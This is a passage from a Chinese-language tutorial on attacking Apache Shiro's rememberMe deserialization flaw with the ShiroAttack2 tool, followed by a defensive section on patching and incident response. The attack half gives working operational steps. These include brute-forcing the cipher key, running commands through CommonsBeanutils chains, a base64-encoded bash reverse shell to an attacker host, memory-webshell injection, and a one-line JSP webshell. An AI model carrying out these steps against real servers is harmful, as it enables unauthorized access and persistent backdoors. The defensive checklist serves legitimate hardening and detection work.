ShiroAttack2.jar。在“目标地址”输入http://192.168.1.100:8080。点击“检测”。工具会发送多个探测包并在日志区域显示[] 目标存在Shiro框架特征。6.3 步骤三爆破加密密钥在“密钥”模块选择“爆破密钥”。点击“开始”。工具会使用内置字典进行爆破。等待片刻日志区域显示[] 密钥爆破成功kPHbIxk5D2deZiIxcaaaA。成功获取密钥。6.4 步骤四检测可利用的链在“利用链”模块点击“检测利用链”。工具会依次尝试CB、CC等链的检测Payload通常是sleep命令。检测完成在“利用链”下拉框中可以看到可用的选项例如[] CommonsBeanutils1 利用链可用。6.5 步骤五执行命令并获取回显在“利用链”下拉框选择CommonsBeanutils1。在“命令”输入框输入whoami。点击“攻击”。观察下方“命令执行结果”区域。如果漏洞存在且命令执行成功可能会显示root或tomcat等用户名。但很多情况下由于Web应用运行在无回显环境这里可能是空的。6.6 步骤六无回显下的利用——反弹Shell由于上一步无回显我们需要获取一个交互式Shell。在攻击机上假设IP为192.168.1.50使用Netcat监听一个端口nc -lvnp 4444构造一个反弹Shell的Bash命令并对其进行Base64编码echo bash -i /dev/tcp/192.168.1.50/4444 01 | base64 # 输出YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx在ShiroAttack2的“命令”输入框中输入解码并执行该命令的指令bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}点击“攻击”。回到Netcat监听窗口如果成功你会看到来自目标服务器的Shell连接提示可以执行whoamipwdls等命令进行验证。至此我们完成了从探测到获取Shell的完整流程。7. 高级利用技巧与深度绕过在实战和更高强度的防守环境下可能会遇到一些障碍需要更高级的技巧。7.1 利用链的扩展与内存马注入直接执行命令虽然有效但重启即失效。内存WebShell内存马提供了更持久的后门。其原理是利用漏洞执行代码向当前运行的Java Web容器如Tomcat、Spring动态注册一个恶意的Filter、Servlet或Controller这个恶意组件会拦截特定请求执行攻击者指令。工具实现ShiroAttack2等高级工具已经集成了内存马注入功能。例如选择“利用链”为CB链TomcatEcho或BehinderFilter冰蝎内存马并配置好连接密码和路径攻击后就会在目标Tomcat中注入一个Filter型内存马。之后攻击者可以使用客户端如冰蝎、蚁剑直接连接这个路径进行文件管理、命令执行等操作且重启后失效隐蔽性强。防御视角内存马是蓝队检测的难点需要依靠RASP运行时应用自保护、Agent内存扫描或流量分析来发现异常。7.2 密钥的进一步获取思路如果字典爆破失败还有哪些思路源码泄露通过.git目录泄露、DS_Store文件、备份文件如web.zipapp.tar.gz、配置文件名猜测application.propertiesshiro.ini等尝试下载源码或配置文件从中寻找cipherKey配置项。环境信息泄露某些不当的异常处理可能会将部分密钥或堆栈信息打印到错误页面或日志中。旁站或同框架应用如果目标是一个大型应用集群其他子站或服务可能使用了相同的密钥。7.3 不出网场景下的利用在内网渗透中目标服务器可能无法访问外网不出网导致DNSLog、HTTP外带、反弹Shell均失效。写入WebShell如果可以执行命令并且知道Web应用的绝对路径可以尝试直接写入一个JSP或JSPX的WebShell文件。echo % Runtime.getRuntime().exec(request.getParameter(cmd)); % /tmp/shell.jsp # 然后需要想办法将文件移动到web目录如 /var/www/html/端口复用与流量转发利用已建立的通道如果存在其他入口进行流量转发。利用现有服务尝试连接内网其他数据库、服务等进行横向移动。8. 防御措施与排查建议蓝队视角作为防御方了解攻击手法是为了更好地防护。8.1 根本性修复方案升级Shiro版本及时升级到最新安全版本如1.13.0新版本不仅修复了已知漏洞还提供了更安全的默认配置。使用强密钥并妥善保管在配置中必须显式设置cipherKey并使用安全的随机生成算法如AES-256生成足够长且复杂的密钥并像保护密码一样保护它。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_random_base64_encoded_key_here禁用RememberMe功能如果业务不需要直接在配置中关闭此功能。升级依赖库及时升级commons-beanutilscommons-collections等组件到无危险利用链的版本。8.2 运行时防护与检测WAF/IDS/IPS规则部署规则拦截包含特征如rememberMeCookie过长、包含特定序列化魔数的请求。RASP运行时应用自保护在应用内部植入探针实时监控反序列化、命令执行、文件读写等危险行为并可直接阻断。流量审计与日志分析集中收集Web访问日志和应用日志监控异常的rememberMeCookie请求、大量的解密失败错误可能为爆破行为以及非常规的命令执行日志。内存马检测定期使用专业工具或脚本扫描Java进程内存查找异常的Filter、Servlet或Controller映射。8.3 应急排查清单如果怀疑系统已被入侵可按照以下步骤排查检查日志立即审查应用日志、Web服务器访问日志搜索rememberMe、Runtime.exec、ProcessBuilder等关键词。检查进程与网络连接使用netstat -antp或ss -antp查看是否有可疑的外连或监听端口。使用ps aux查看是否有异常Java进程或命令。检查Web目录查找近期新增的、可疑的JSP/JSPX文件特别是位于上传目录或临时目录的。检查计划任务查看crontab -l和/etc/cron.d/等位置是否有恶意任务。使用专业工具扫描使用如Java-memshell-scanner等工具对运行中的Java应用进行内存马扫描。Shiro漏洞的攻防是一场关于“密钥”和“利用链”的博弈。红队需要不断地丰富密钥字典、挖掘新的利用链而蓝队则需要坚决地使用强密钥、升级组件、并部署纵深检测体系。理解这套完整的流程无论是为了在授权范围内进行有效的安全测试还是为了构建更稳固的防御都至关重要。在实战中每一个环节都可能遇到意想不到的问题多搭建环境练习多思考异常情况的处理经验就是在一次次“踩坑”和“排坑”中积累起来的。